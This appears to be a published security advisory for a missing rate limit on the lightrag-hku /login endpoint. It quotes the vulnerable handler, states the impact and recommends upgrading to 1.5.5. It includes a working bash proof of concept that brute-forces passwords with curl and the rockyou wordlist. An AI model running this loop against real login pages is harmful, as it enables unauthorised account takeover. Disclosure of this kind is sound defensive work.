CVE-2026-85734: lightrag-hku: No Rate Limiting on /login Endpoint Allows Brute-Force Attacks
### Summary The POST /login endpoint has no rate limiting, account lockout, or delay on failed attempts. An attacker can submit unlimited password guesses at full network speed. ### Details ```python # lightrag/api/lightrag_server.py:2161 @app.post("/login") async def login(form_data: OAuth2PasswordRequestForm = Depends()): if not auth_handler.verify_password(username, form_data.password): raise HTTPException(status_code=401, detail="Incorrect credentials") # No: rate limit / lockout / backoff / CAPTCHA / attempt counter ``` A search for slowapi, rate_limit, lockout, or throttle in lightrag/api/ returns zero results. ### PoC ```bash # Brute-force /login with a wordlist, no throttling while IFS= read -r pass; do code=$(curl -s -o /dev/null -w "%{http_code}" \ -X POST http://<TARGET>:9621/login \ -d "username=admin&password=${pass}") [ "$code" = "200" ] && echo "[FOUND] $pass" && break done < /usr/share/wordlists/rockyou.txt ``` ### Impact Improper restriction of authentication attempts. Any network-reachable attacker can brute-force user passwords without restriction. Once credentials are recovered, the attacker gains full authenticated access to all documents, knowledge graph, and administrative operations.
Recommended action
Recommended action
Upgrade affected packages to a patched version: lightrag-hku 1.5.5.
Technical details
- Vendor
- Not specified
- Product
- lightrag-hku
- Exploitation
- none known
- Evidence
- official
Evidence and sources
This record is attributed to GitHub Advisories. Exploitation status and remediation guidance are kept separate from the vulnerability's technical severity.
Open primary source